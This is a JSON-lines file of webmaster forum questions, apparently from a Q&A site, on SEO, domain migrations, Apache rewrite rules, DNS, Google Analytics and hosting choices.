{"id":"22504","title":"What is a \"SiteCon\" user agent?","text":"I've found some unusual activity in my site's Apache logs and every hit has this UserAgent string: \"Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-gb; SiteCon\/8.8.14)\" What is SiteCon?"}
{"id":"61109","title":"Many external links affecting SEO?","text":"I run a website that is for a non-profit organization and the site is mainly information for the consumer. A page on this site list stores that are a certain type of business. I am planning on adding websites to the information provided to the end user. My question is this: Should I `nofollow` the links to the external website? We are talking about 100+ links (and growing) on this one page. I do not want to negativity affect the SEO on my site nor on the other sites."}
{"id":"5553","title":"Importance of grabbing a domain tld","text":"How important is it to grab all available domain TLDs for somewhat popular site? (Alexa Rank: ~20k)"}
{"id":"61455","title":"PDF's showing up before relevant pages","text":"When I perform a `site:example.com keyword` on my site I tend to get a lot of PDF's first and not the relevant pages with the keywords. We are trying to optimize our site for best SEO with Google and am wondering how this is effecting us? From my understanding these are going to be the pages with the strongest keyword relevance so when our site does appear in search results it will be in the same order (PDF's first). We really don't want the PDF's to be indexed since they don't contain the information we are trying to give the customers, they are mainly installation manuals, specifications, etc. Does any one have recommendations to resolve this issue or maybe I have completely understood this wrong?"}
{"id":"58221","title":"How to see pixel density (Retina) in Google Analytics?","text":"In Google Analytics, \"Screen Resolution\" is a default dimension under Audience > Technology > Browser & OS reports, but pixel density is nowhere to be found. How can I use Google Analytics to determine how many of my visitors are using Retina or other high-def displays?"}
{"id":"5552","title":"How do I know whether a site is a daughter site of another?","text":"Given `http:\/\/www.ocfaustralia.org\/` and site 2 `http:\/\/griffith.ocfaustralia.org\/`, is there a way for me to tell whether site 2 is a daughter site for site 1? **That is, if I were to remove site 1 would site 2 go down as well?** The reason I'm asking is because I've been asked to do a major redesign for site 1 (the original developer's gone, left no documentations, the codes disorganized and everywhere, etc) and with the way things are, I figured it would be a lot easier and also better in the long run if I just delete everything and start again from scratch. Therefore I need to check for dependencies before pulling the plug."}
{"id":"61101","title":"How to deal with non-relevant keywords in Google Webmaster Tools","text":"Google webmaster tools is showing keywords such as \"cookies\" in my keyword list. This is probably because we have links to our long legal disclaimer on cookies. We're a B2B service, so clearly I don't want my site to rank for \"cookies\". What's the best practice to deal with this? Should I remove the domain.com\/cookies subdir from google webmaster tools?"}
{"id":"26474","title":"Registering single letter domain, selling subdomains?","text":"I am about to purchase x.yz or a.bc (not those, but same lengths). I want to sell subdomains like rst.x.yz to the public, and would be able to run my own DNS servers for it. Is there a system (iPanel or something, preferably free) that I can do this automatically, where the user purchases a domain and enters the IP to point it to (I am not hosting files) and have it create instantly? I am really trying to avoid the PayPal API as not to spend time re-inventing what could possibly exist already. Do you think I should just stick with cPanel and let users make their own accounts and be touted a \"reseller\" ? Other questions: 1) Should I run my own DNS servers as a backend to this? 2) How much to charge, and for one-time fee, monthly, or yearly? 3) Should I stick with redirects, or actually handle the DNS?"}
{"id":"6951","title":"What is the recommended way to handle opening attachments from a webpage?","text":"When creating a website, depending on how a browsers Mime-Types are setup, downloading attachments can have different behaviors. Is there a website that talks about this and suggests a rule-of-the-thumb that should be taught to all web developers? For example, among these methods shown below (which doesn't account for all the possibilities), which is preferred and why? 1. Click the download, prompt with \"Save or Open\" dialogue and if they choose \"open\" then open with the Windows default program. 2. Click the download, prompt with \"Save or Open\" dialogue, show a \"remember this\" checkbox, and then open using the web browser in a new window. 3. Click the download, auto detect the browser mime type and immediately open. Don't save unless they right-click the link and choose \"Save As\"."}
{"id":"52944","title":"How to mark up a poem in HTML for SEO","text":"I'm building poetry web site and I wanted some HTML structure tips for entries. Example: <h1>This is poetry title<\/h1> <p> Poem's line 1. <br \/> Poem's line 2. <br \/> Poem's line 3. <br \/> Poem's line 4. <br \/> <\/p> <p> Poem's line 5. <br \/> Poem's line 6. <br \/> Poem's line 7. <br \/> Poem's line 8. <br \/> <\/p> Would this be considered well-designed SEO structure for poem?"}
{"id":"6480","title":"Submitting multiple websites to search engines","text":"There are many services that submit your website to multiple search engines. Are there any that allow you to easily submit _multiple_ websites to multiple search engines?"}
{"id":"49113","title":"Does google alerts include results from other google feed services like news and blog search?","text":"We are using google alerts in our study to catch and categorize new contents as they happen on the web. We want to be as comprehensive as possible and catch the more new results for a query is possible. But we know there are other services at google apart from alerts, like google news. So, our question is: Is google alert the most complete system so that we can expect that the results from news, blog search, youtube feed will always be a subset of the ones from alert? Since it's a research study, I'll be grateful if you could also post the source\/ref. you base your answers on! Many Thanks!"}
{"id":"4148","title":"Putting adverts on my website","text":"I'd like to start putting ads on my site but _I'm quite fussy about the way things look_ so I'd like to have attractive adverts that work as a feature of the website as opposed to the nasty garish ones you occasionally see out there. BuySellAds.com do what I'm looking for. They don't accept your site unless it gets more than 100,000 hits per month so I can't use them. The ads on http:\/\/net.tutsplus.com\/ are the sort of thing I'm looking to include in my site. What are my options here? Which companies offer this kind of service? I would use AdSense but I don't like the look of the text ads, in-fact I know that I don't even read them if I see them. I do however spend a lot of my time looking at, and clicking on, the attractive image based ads you see on sites like smashing mag and freelance switch"}
{"id":"60854","title":"Referrals from googleads.g.doubleclick.net . I don't have adwords running","text":"I am seeing referrals from **googleads.g.doubleclick.net** in Google Analytics reports off late. They are very sparse but it's there. I am confused as I understand this may be referral from AdWords but I don't have any campaign running (and never have for this domain). Neither do I have any affiliate program, so an affiliate running an ad campaign is also out of the question. So, what does that imply? Should I be worried or can I just ignore it?"}
{"id":"3399","title":"How do I rename a domain and preserve PageRank?","text":"As part of graduating from Area51 and becoming a full fledged site we sometimes change domain names from `http:\/\/topic.stackexchange.com` to `http:\/\/example.com`. Aside from the obvious 301 redirect rules to support existing urls transparently, are there other techniques that would aid in the preservation of PageRank?"}
{"id":"54257","title":"moving blogs content to new website","text":"I have a blog and I wanna move its contents to a new website that i have made recently ! my question is that my blogs pagerank is 2 in google and i wanna know if i move my blog's contents to the new website and then delete my blog, will my new website get the blog's pagerank in google after afew months? or not? considering the blog had got the pagerank 2 in google with these contents? thanks a bunch ;)"}
{"id":"37826","title":"Changing domain name - what are the practical steps involved","text":"> **Possible Duplicate:** > How do I rename a domain and preserve PageRank? I launched a website a couple of years ago, bright eyed and bushy tailed, with dreams of conquering the world. Unfortunately it wasn't to be. Now, that I am a bit older and wiser, I have spent some money on branding and creating more quality content etc, I am rebranding and relaunching the site with a new domain name. Although the traffic on the old site is laughable (i.e. non-existent), there are a few pages of good information on there and I don't want to lose any \"juice\" those pages may have gained because web crawlers have been seeing it for a few years now. Ok, the upshot of all that is this: I want to change my domain name from xyz.com to abc.com. I am maintaining the same friendly urls I had before, only the domanin name part of the url will change, so that any traffic coming to the old page will be forwarded\/redirected? to the new page seamlessly. How do I go about achieving this (i.e. what are the steps I need to carry out, and to minimize any \"disruption\" to any credibility the existing site has with Googlebot etc? I am running Apache 2.x on a headless Linux (Ubuntu) server."}
{"id":"38617","title":"Why does my main domain sill show up as addon domain?","text":"> **Possible Duplicate:** > How do I rename a domain and preserve PageRank? I made my addon domain as a main domain, but Google search still show my new main domain as addon domain. What do i need to do to repair that? Do I need to use Webmasters tool to delete my old main domain or what? I really need help."}
{"id":"37546","title":"SEO implications of domain name change","text":"> **Possible Duplicate:** > How do I rename a domain and preserve PageRank? Will changing a domain name of a popular web-site result in any SEO implications or will 301 redirects make the site stay exactly the same?"}
{"id":"16263","title":"Will domain change affect my pagerank?","text":"> **Possible Duplicate:** > Renaming a domain and preserving PageRank I have two blogger's blog. (http:\/\/chankeypathak.blogspot.com and http:\/\/javaenthusiastic.blogspot.com) One blog has PR 3 and the other blog has PR 2. I want to buy the domain for both blogs so that they will become http:\/\/chankeypathak.com\/ and http:\/\/javaenthusiastic.com\/ I will follow all the procedures that Blogger suggests so that all the visitors to http:\/\/chankeypathak.blogspot.com will be redirected to http:\/\/chankeypathak.com\/ and same for the java's blog. I just want to know that whether this will affect my pagerank or not? I want my PR to remain same and not to be change because of domain change. Let me know. Thank you. PS: I don't know whether one person is allowed to post his site's URL in questions or not. If it is not allowed then you may edit the question."}
{"id":"54491","title":"After a domain change, what can I do to recover lost traffic, rankings, impressions etc?","text":"I moved my site to a legacy exact-match domain I purchased about a couple of months ago. I have seen significant reduction in traffic, impressions, and rankings. I did all the right steps\/best practices: change of address in GWT, map old site hierarchy and match to new site for 301 redirects etc. Indexation has gone through the Google process: old site has all but dissappeared from he index and new site is indexed, albeit with some 404 errors which I am addressing. Does anyone else who has gone through eh domain change process have any thoughts\/advice? Thanks!"}
{"id":"28106","title":"Google Analytics doesn't show the correct landing page for my Facebook ads","text":"Most of the visitors to my site are supposed to come from an external link with URL `example.com\/en\/var` from Facebook ads but Google Analytics shows that most of the landing page is `example.com\/var` without `en` which is the prefix for English version of my site. Am I missing something to configure Google Analytics? Or is Facebook sending the visitors to the wrong URL (by the preview page of the Facebook ads the URL is set correct with the prefix en)?"}
{"id":"3852","title":"SSL and green address bar","text":"I am new to SSL so can someone explain why my address bar turns green when I'm on certain sites beginning with `https:\/\/` and sometimes it doesn't even though I know the site has SSL? Maybe these two nuances are not even related, but if I go to GoDaddy and order a new domain I notice their address bar is green the entire time I'm using the `https:\/\/` protocol, but then I go to Victoria's Secret to place an order and even though it says `https:\/\/` the address bar doesn't turn green."}
{"id":"68934","title":"How to find what keywords to target in large scale?","text":"Currently we have a website with more than 300000 indexed pages and everyday there are 600 new pages added, the website is a news website. The strategy is that we start finding what keywords we should target and then start creating content and building links, etc. We know Google Trends, but we don't know about how to find 5000 keyword we should target (as an example 5000). Any ideas?"}
{"id":"6485","title":"Where can I register .tw domain extensions?","text":"I'm currently looking to register the Taiwanese version of my company's domain. Dynadot, doesn't register domains with that extension. I found a few places on the web: Godaddy has them, and a fewer smaller, shadier places claim to have them, but they start at $39.99\/year which seems a bit outrageous. Has anyone found a more affordable, reliable registration company for .tw domains?"}
{"id":"38955","title":"Googlebot keeps returning to crawl my page then the rankings fluctuate","text":"I know that in order to get ranked the page has to be crawled by Google bots, I have had a page example of which I will get a better understanding of how the system works with Google. I have made a page on my website last month, it got indexed pretty quickly, then I found that it's in Google's page 15 on my keyword as a start, next day it made it to page 13, then after a week it was jumping back and forth in page 17\/18 up to 20. Now a month passed by, when and it isn't listed in any position of that 'keyword' sometimes I will find it in page 30, but later I won't find it anywhere, keep happening this way these days. Even if it isn't listed in any page for my keyword if I do a search for `site:thepageadress` it will be listed which means I'm not penalized and my page is there for google to see, but it isn't in the search result for my keyword. But when I write `site:thepage_adress` and I hit \"search tools\" option and click on \"Past day\" or \"past week\" it isn't listed, it is only listed when I click on \"Past month\" which I think means that Google indexed the page, looked at it once when I published it, and never looked at it again, is this a fair statement? So two questions that comes to mind here. 1. Should Google keep looking at a page even if I haven't changed any info for it? and is this an indication for me that my page is doing fine? or is it normal that Google see's it once and thats it? 2. Why and how to fix the fact that my page keeps jumping back and forth in the ranking result for keyword, and sometimes it isn't even listed, what does that mean?"}
{"id":"14858","title":"Enable mod_rewrite on OpenSuSE 11.04","text":"I have a problem on OpenSuSE 11.04. I configured apache and enabled mod_rewrite but it doesn't working. on every php file I get 403 forbidden error."}
{"id":"22764","title":"How to incoporate Taiwan into ISO 3166-1?","text":"I received a rather heartfelt e-mail from a user on our site explaining that Taiwan wasn't a province of China and that they wouldn't register until this was changed. Our site is made from a dozen or so valued contributors so we are going to change it. See issue here: http:\/\/www.iso.org\/iso\/country_codes\/iso_3166-faqs\/iso_3166_faqs_specific.htm. I found the lines to edit in my CMS, but we have valued users from both China and Taiwan. I was wondering the most politically neutral way to amend my country codes. What should the entries for China and Taiwan say?"}
{"id":"38951","title":"Is it possible to stream music\/video from an Apache server?","text":"I'm just starting to get into setting up a server. I've set up a basic Apache server to access some songs and movies. When I click one of the songs though, nothing happens. When I click one of the movies, sometimes it will open a new web page and act as though it is going to start playing, but never does. I know Apache is HTTP, not FTP and read somewhere that that could be a problem, but I'm uncertain of the differences. Anyway, is it possible to click on one of the songs and have it start streaming using, for example, Windows Media Player? If so, might someone either explain how to do so or direct me to where I can find it? Any information on retrieving media from an Apache server at this point would be most appreciated. -Edit- I don't know if it matters, but I'm using Windows 7 and Google Chrome"}
{"id":"59734","title":"How do yelp and google business collect information about businesses?","text":"* Do they work with some governmental sources ? * Do they only use the information sent by business owners themselves ? * Do they scrap the web to collect these information ? * Do they have employees that go by themselves to locals and collect information from them ? I need the answer for a similar website I am working on, I am wondering how can I start with an empty database ?"}
{"id":"54211","title":"Different authentication for HTTP POST and GET requests in Apache","text":"I want to authenticate for POST requests for `http:\/\/path\/to\/logical\/abc.xml` (but not GET requests to that URL). How do I put constraints like this in place? The paths are logical and location directive is not supported in `.htaccess`."}
{"id":"65370","title":"SEO for filename of images that are uploaded using Ruby on Rails","text":"I'm use RoR 3.2 and carrierwave gem for upload images. I want will do SEO optimization for uploaded images filenames. For example I have model `Car(attributes: :id, :name, :avatar(carrierwave image uploader for this))` and model `Brand(attributes: :id, :name)`. After upload avatar for car, it creates an image with name _test1.jpg_. I want display this filename as _brand_name-car_name-filename.jpg_. And if the brand (or car) name changed - consider and display the correct brand name and car name. Is this important for SEO?"}
{"id":"65376","title":"How to get rid of Heroku App domain in the search resutls","text":"I am using Heroku to host my rails app and I have created a custom domain for the app at www.luminoto.com. I just did a search for \"luminoto\" and I see that the herokuapp domain (horschgallery.herokuapp.com) is popping up. Should I just create another domain in webmaster tools and use robots.txt to remove the Heroku domain from search results? Or will this in turn remove the Luminoto domain as well? Also does Google think that Luminoto is duplicate content or a cloned site?"}
{"id":"38959","title":"WordPress .htaccess preventing subfolder access","text":"This is sort of a goofy setup, but it's not in my power to reconfigure it at this time. I'm running in a shared hosting environment. The domain is `example.com`. This is an add-on domain on the host side with `example.com` being redirected to the `www\/example.com` sub-directory. That directory houses a standard WordPress site which acts as the main site when you visit `example.com`. The _.htaccess_ file within that directory is: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-admin\/profile\\.php$ \/ssm\/welcome [R] <\/IfModule> I have a subdirectory, at the root level with the `\/example.com` subdirectory that houses a CakePHP application. That subdirectory is `\/tracker`. My problem is that when I attempt to browse to `example.com\/tracker`, I get a 404 from WordPress because permalinks are on. What I think I need is a rewrite rule in the WordPress _.htaccess_ file that short circuits the existing rewrite rules and permits `example.com\/tracker` to work independently of the WordPress install. Or a rewrite rule at the root level that short circuits the redirect to the `\/example.com` directory in the first place. Not sure how well I explained that so here's a summary. The `www\/` directory structure: * `example.com\/` * `tracker\/` Add on domain of `www.example.com` redirecting to the `\/example.com` directory with WordPress and a `tracker\/` directory running CakePHP which I would like to access via `www.example.com\/tracker`. If you need further info or clarification let me know!"}
{"id":"65374","title":"Can I use a link rel publisher tag in the head of both of my business websites to connect them to my Google business page?","text":"To connect my website to my Google business page, I should add `<link href=\"https:\/\/plus.google.com\/xxx\" rel=\"publisher\">`. But I have 2 pages because I have 2 different addresses. Should I add both of them? Which one will show up on the search results? My final goal here is to show my business info on the right side of the search results."}
{"id":"18883","title":"Configure Apache HTTP 2.2 for PUT method","text":"I've written code for file upload and download using `HttpWebRequest`\/`HttpWebResponse` class in C# with Apache 2.2 as a web server. In code I'm using `request.method = \"PUT\"`. I want to config my HTTP config file to support `PUT` method. I write PUT method script as: <Location \"C:\/Program Files\/Apache Software Foundation\/Apache2.2\/htdocs\/output\"> <Dav On <LimitExcept GET HEAD OPTIONS PUT> Allow from all <\/LimitExcept> <\/Location> That's not working. It shows error at program output: _(405) The method not allowed_."}
{"id":"31859","title":"Point sub directory to another IP?","text":"We have a website that we want to keep on it's hosting - www.domain.com. We then want to point a sub directory to hosting that is somewhere else www.domain.com\/new-website. Is it possible to have the root level of the domain to point to one hosting and a sub directory to point to another set of hosting using A records?"}
{"id":"63524","title":"Tumblr Custom URL Not Working","text":"I have bought a domain that I want to use as a unique Tumblr website but I can't get the url to pick up on Tumblr settings. The domain is a .com registered with 123-reg. I've set the CNAME to the correct tumblr url and also set the A record too. When I visit the url I get the Tumblr error page so I know that the domain is pointing, however when I go to settings in Tumblr and \"Test\" the url it says that it's not pointing and I can't save it. What could be the problem?"}
{"id":"19301","title":"How to redirect domain.com to www.domain.com with DNS and IIS?","text":"How can I redirect `example.com` to `www.example.com` using DNS \/ IIS? I wish to do this for an asp.net web site to prevent duplicate contents (Bad for SEO). I had 2 a record in dns (Windows Server 2008) for `example.com` and `www.example.com`. Also in IIS I added `example.com` and `www.example.com` in edit bindings. Which changes should I do in my IIS and DNS to redirect `domain.com` to `www.example.com`? Should I change the `web.config` file in my project?"}
{"id":"29398","title":"Are there benefits of receiving external links from PR 0 or 1 sites for SEO?","text":"> **Possible Duplicate:** > Effect of adding link from PR1 site to PR0 site? I'm thinking to do some link exchanges with PR0 or PR1 sites which have the related contents as my site. And my link will be in their link page and theirs will be in my link page. I have read somewhere that 1000 links from PR1 is equivalent to just 1 from PR4. Are there sill some SEO concerned benefits for doing this? Or if not above what PR will be worth exchanging links? Anyway I'm thinking to do it only with related pages."}
{"id":"5918","title":"Rackspace Cloud Servers in Europe?","text":"We have setup a cloud virtual server at rackspace in the US, but we use it from Europe. I found out I am not quite happy with the response time. Of course I knew that there would be some latency. But I am not sure if it is the overseas latency (ping is 120ms) or also the minimal resources. It is the smallest machine, 256 MB, 10 GB, running a Mediawiki on Ubuntu 10.04 64 bit. The Instance lives in the rackspace ORD1 datacenter. As soon as they have opened their new facilities in the UK we plan moving the incstance there. But we are planing more machines already. The pricing is quite attractive. I don't really want to do some measuring and benchmarking and this stuff, so I am asking just for your opinions and it would be nice to hear what you can tell from your experience. Maybe someone who uses such small instances in the US. And what can we really expect if we upgrade to more resources."}
{"id":"51944","title":"Structured data: Google Data Highlighter?","text":"We're working on adding structured data for a richer snippet on search engine result pages. There are two type of structured data that I can't figure out how they're done. They seem to show up only on Google, so I'm suspecting Google Data Highlighter, but does anyone have any insights? Here are some examples. 1. Greyed out text list of products shown on that page.  1. Clickable links of products shown on that page. "}
{"id":"19307","title":"Syndicated blog content and search engines: helpful or harmful?","text":"Against my advice, we've started buying blog content from a syndicator. The content is not unique, and searching for quoted phrases shows this content in use on a few dozen other blogs. My initial hope was that I'd be able to edit this material enough to make it unique before posting it, but there's too much of it and I just don't have the time. Realistically, the choice is between running the posts as they are, with very few edits, or not using the material at all. So, two questions: 1. Will using this content help us? It's unquestionably high-quality material that's informative, useful, and relevant to our line of business and prospective clients. We already have very good SEO, so it's hard for me to judge how helpful the syndicated posts are in bringing people to the site through a wider range of search queries. Obviously I wouldn't want to see our site show up in a list of results showing identical content (not to mention the dreaded \"we have omitted some entries very similar...\"), but that's hard to gauge too. 2. Will using this content _hurt_ us? The last thing I want is for Google's algorithm to perceive us as a content farm or a low-quality site. We run original posts as well as the syndicated ones, and I do still try to do _some_ editing on the syndicated posts when I have time. I've put a lot of work into ethical, white-hat SEO over the past couple of years, and as a result we're consistently among the most highly-ranked sites in our local area for our (very competitive) line of business. I'd do anything to avoid incurring a Panda penalty that undoes all that hard work."}
{"id":"5917","title":"Using RVsitebuilder","text":"Does anybody have knowledge of using Rvsitebuilder to build a site? Would love some advice!"}
{"id":"51202","title":"Google attempting crawl of URLs with parameter randomly placed in URL","text":"We have a weird SEO issue; In Google Webmaster Tools we are seeing a huge spike in Not Found Server Errors. There are a set of several hundred dynamic pages which we need to maintain (though not have indexed) that look like this; www.site.com\/en-GB\/Pages\/job-details.aspx?job-id=123 But weirdly Google is generating thousands of 404 crawl errors trying to index URLs with this structure; www.site.com\/en-GB\/Pages\/job-id?\/en-GB\/Pages\/job-details.aspx?job-id=172649 There are no; * Internal links pointing to this or similar * External links that we can find pointing to this or similar * Errors in the sitemap.xml In a possibly related development; the URL Parameters section of Webmaster Tools, it’s listing some really weird parameters like; \/en-GB\/pages\/job- details.aspx Which clearly is actually a chunk of the URL. We have tried excluding this and the ‘job-id’ parameter from Google by choosing Edit > Yes > No URLs Thought to no avail! My questions are: 1. Why would Google add a parameter mid-way through the URL and how do we stop it? 2. Why would Google think that a chunk of the URL was a parameter and how do we stop it? I’m pretty stuck on this, so your help is much appreciated!"}
{"id":"59872","title":"Unwanted redirect from a domain to my site","text":"An external person from my client company registered a domain and redirected to my client URL. For instance, if you type `unwanteddomain.com` it redirects to `myclientdomain.com`. Is there any way to block or redirect (for second time) to nowhere the `unwanteddomain.com` via cPanel or any rewrite rules on _.htaccess_?"}
{"id":"52611","title":"Is adding a couple of keywords in the footer (no links) considered wrong doing?","text":"Many posts claim that putting links with keywords in the footer is not considered a good practice by Google. Some claim Google may penalize you. But, is adding a couple of keywords without links in the footer considered a bad practice? I do notice that Google picks better ads, but does it trigger ranking penalties? How many keywords would be considered too much? Should I remove them overall? Here is a page example: http:\/\/myworldclocks.tostaky.biz\/"}
{"id":"34439","title":"Shopping Cart URL Structure","text":"In regards to URL structure when it comes to guests and authenticated users, am I able to track traffic associated with both paths, but at the same time track total conversions going through the shopping cart? I have set up the following URL structure: **Authenticated users follow this path:** \/cart \/checkout \/checkout-confirmation-ty **Guests go like such:** \/cart \/checkout-guest \/checkout-confirmation-guest-ty 1. can I track the authenticated and guest users separately? 2. is this possible with Google Analytics?"}
{"id":"38485","title":"Redirect subdomain to local PC","text":"I have a home web server which is constantly running. Is it possible to create a subdomain which would redirect traffic to another local PC? For example, I have one Server and one notebook (with web server installed for developing). Now I can access to notebook only from local network with IP. Server is also hosting domain example.com. Now I would like to visit \" **laptop.example.com** \", which would be my laptop."}
{"id":"4476","title":"scorecardresearch dot com: weird tracking pixel","text":"I'm seeing _very_ weird behaviour in relation to this domain and a tracking image. On a specific page on our site, I'm seeing a script that's being added dynamically, apparently via flash (I wasn't even aware that flash could alter the DOM ...) That script is located at: http:\/\/scorecardresearch.com\/beacon.js When I request that URL, I see a 1x1 gif. Another weird point is that this domain appears to break all the web-based whois tools; entering that domain results in a 1x1 gif. This is even to the extent where, if I enter scorecardresearch.com into the Title as part of this question, GIF code appears just below it! Hence, the \"dot\" in the title. The only 'unusual' thing on the page is a slideshare 'widget', which is flash- based - that's why I'm concluding that flash is altering the DOM. Anyone know what is going on here? How concerned should I be?"}
{"id":"17554","title":"Using Efficient CSS Selectors Page Speed 1.11","text":"The new PageSpeed 1.11 does not suggest anything for using efficient CSS selectors. Does that mean that it does not affect the speed of my site. In PageSpeed 1.9, I scored and F (0) for not using efficient CSS selectors. Then, my overall score was 89. Now, there is no rule for efficient CSS selection and I score 93. Can anyone explain why Google has removed the rule."}
{"id":"17553","title":"How to interpret Events from Unique Events in Google Analytics?","text":"I'm trying to add some javascript triggered Google Analytics events to a website that is already working with GA. I've included the following beneath the standard GA script (new ga.js script). _gaq.push(['_trackEvent', 'Downloads', 'Extension']); Which seems to be working ok, but the results listed in the Events Overview report (after waiting 24 hours), don't make sense. It states that there have been 1 Total Events and 5 Unique Events (screenshot below). https:\/\/img.skitch.com\/20110729-8hufapcq2366rq3cbpuihjgqjd.jpg"}
{"id":"63620","title":"Meta description of my blog post changes","text":"I have some problems in **Meta description** tags in my **Blogger blog**. When I update my pages in search engine with the help of the **Fetch as Google** feature in GWT, all my blog's results comes with a correct **meta description** like > Today I am back with a reason that \"WHY IS ORIGINAL MEMORY IN HARD-DISK IS > LESS THAN PRINTED\" on a box. If we buy any hard-disk or a pen drive... But after approx 5-6 days, it changes to my blog's default **meta description**. This is also happening after changing the default **meta description** of my blog. I want only one answer that **why** its happening? After deleting my blog and creating a new blog with the same name this problem was solved. Why this problem was solved? - I am asking this question because to solve problems in the future."}
{"id":"17551","title":"How do you disallow root in robots.txt, but allow a subdirectory?","text":"Using robots.txt, how do you disallow the root of a site (http:\/\/www.example.com\/) but allow a subdirectory (http:\/\/www.example.com\/lessons\/)?"}
{"id":"19844","title":"Why Google indexing blog.mywebsite.com instead of www.mywebsite.com?","text":"All subdomains works in my website, example this: mywebsite.com www.mywebsite.com blog.mywebsite.com feed.mywebsite.com anything.mywebsite.com But Google indexed some of my website pages with blog.mywebsite.com, any idea why google indexed **blog** instead of **www**?"}
{"id":"4557","title":"Not able to stop hotlink","text":"I am using following htaccess code to stop hot linking my image files Options +FollowSymlinks Options +SymlinksIfOwnerMatch RewriteEngine on RewriteCond %{HTTP_REFERER} !^http:\/\/(.+\\.)?article-stack.com\/ [NC] RewriteCond %{HTTP_REFERER} !^$ ReWriteRule .*.(png|gif|jpg)$ - [N,F,L] Still the imge of my site are accessible from other sites. how can i stop it?"}
{"id":"4552","title":"Looking for a good mobile framework","text":"I am looking for a good mobile framework. This is for a university library, providing access to some database resources, hours and the like. I have heard good things about the MIT Mobile Web Project and I know that some schools like Bucknell have used it and been pretty happy. Does anyone have any experience with this framework or any others? Thanks,"}
{"id":"29352","title":"Online tool to convert photos into youtube video slideshow","text":"I'm looking for a free online tool that would allow creating photo slideshows and uploading them to youtube. Animoto.com is a good example but only has a 30sec free option."}
{"id":"4550","title":"SEO techniques to handle frames","text":"I have a webpage which has a topbar spanning across the top and then the content in a frame below. The content is on a different subdomain (i.e. the page is at `sub.foo.com` but the content frame at `site.foo.com`). When people search for the site on Google the link is often to the content subdomain (i.e. `site.foo.com`) rather than `sub.foo.com` which has the topbar, which they should be taken to instead. What are the best practices for handling this? We are implementing a redirect that will take the user to `sub.foo.com` if they go directly to `site.foo.com`, but I wanted to know if there were any SEO techniques we should be employing such as _robots.txt_ or canonical site tags to prevent the content subdomain being indexed and linked to from search engines. Needless to say, we do not want to lose ranking due to any techniques we employ."}
{"id":"19510","title":"how to control google's search engine result page of a website","text":"lately google search seem to have interesting new result snippets and I wonder how they generate them. More specifically one got my attention, see the links \"15 minutes - 5 minutes - Timer - E.ggTimer.com\" in the screenshot. How can I generate these links?"}
{"id":"30024","title":"Why does Google show sitelinks for our domain with one search and not another?","text":"The name of our company is G2 Builders - What is happening is that if you go to google and type in \"G2 Builder\" with no \"s\" at the end, our website has sitelinks. When you type in our name with the \"s\" G2 Builders, we do not get sitelinks. My question is, does anyone know how I can fix this?"}
{"id":"11685","title":"SEO domain redirect?","text":"Lets say I have the following domains: * Example.com * Example.net * example-two.com * example-two.net Example-two.com and example-two.net redirect (godaddy domain forward) to a sub directory on example.com. Right now, I don't have example-two with any google results, how should I go about SEO for forward domains? Changing domains is not an option."}
{"id":"19512","title":"Getting the containing box of a given one in the CSS box-model","text":"My understanding is that most layout (positioning and dimension) problems with CSS are the result of a bad understanding of which is containing box of the box you are trying to lay out. However as far as I can tell, there is no means to know which is that containing box in browsers development tools like firebug, chrome or opera's inspection utilities. So does anyone know a reliable way to get that information ? And if possible in a visual way, e.g. like the box margin, border and padding boundaries highlighting present in all modern browser."}
{"id":"11681","title":"GateIn + OpenAM 9.5.2","text":"I'm actually trying GateIn for my firm and I don't manage to integrate OpenAM and GateIn. I follow all the steps in the GateInReference Guide but I've a problem. The scenario of the problem is : 1. Go to `localhost:8080\/portal` 2. Click Administrator 3. I'm redirected to : `openam.vauban.com:2080\/openam_s952\/UI\/Login?realm=gatein&goto=http:\/\/localhost:8080\/portal\/private\/classic` 4. I filled in the form with root \/ gtn 5. I'm redirected to `localhost:8080\/portal\/private\/classic` and the page is blank and the main fact is : The system seems to redirect me to this page infinitely.. Does Someone know an issue for this infinite loop? For information I have configured my OpenAM : Yo encode the cookies, use c66encode."}
{"id":"57591","title":"Sudden spike in pageviews in a WordPress site","text":"A few days go I saw my \"Pageviews\" jump to an all time high.... * I did not add new content. * I did not change or meddle with the WordPress plugins or themes * I did not add edit or delete my site in Google Webmaster Tools I am not complaining, just very curious why suddenly there's an increase? See the attached picture: "}
{"id":"65484","title":"Are there any drawbacks to including UTM information on outbound links?","text":"The question: > Pros and cons of tracking referral trafic with \"utm\" tags asks for pros and cons but is quite old at this point and doesn't have any Cons in the answer. Hopefully we can address the cons \/ drawbacks here without it being closed as a duplicate. Specifically I'm thinking of two things: 1. Some people use plug-in to automatically change or remove UTM codes just to \"screw\" with people. 2. Everyone has their own way of doing things with UTM and analytics and such, if they track at all. (I work in a B2B environment, and many of these guys have real old websites they hardly maintain or bother with.) So, what are the drawbacks to include UTM information on outbound links? We have a Dealer Locator and have started putting up Dealer Testimonials. I'm thinking it might be beneficial to include a UTM letting the dealer know the click-through came from us, if they check. But I'm not sure what risk there is since I certainly don't want to upset any of our dealers."}
{"id":"52406","title":"Subcategorising for URL structure","text":"Please explain which is the best URL structure and why: website.com\/apartments-to-let\/manhattan or website.com\/apartments-to-let-manhattan This is a property site. Is it best for the bots to break the properties\/URL's down in categories?"}
{"id":"24901","title":"Coverflow\/3D slider jQuery plugin","text":"I'm looking for a showcase jQuery plugin like this theme at: http:\/\/themeforest.net\/item\/showtime-business-and-portfolio-wordpress- theme\/full_screen_preview\/117367 It shows the focused image in the middle. It's the biggest. On the left or right there are smaller images and it flippes between them on click."}
{"id":"63258","title":"Meta description with post excerpt vs custom text (or none at all)?","text":"I'm trying to understand what's the best option for SEO. I have a blog based in Wordpress. By default it doesn't have any functionality to add meta descriptions to posts, so I'm wondering whether this is on purpose or if should I install a plugin to add them manually or even generate them dynamically with the post excerpt. What are you doing in your blog today? And what is the best practice?"}
{"id":"54691","title":"Is \"Unlimited Bandwidth\" bad?","text":"I keep reading people saying \"unlimited bandwidth hosting is a scam and you should run from hosting companies that offer unlimted bandwidth.\" While I know nothing is truly unlimited but is there a _real_ reason to not use a host that offers unlimited bandwidth other than the \"gimmick\" that most people see it as?"}
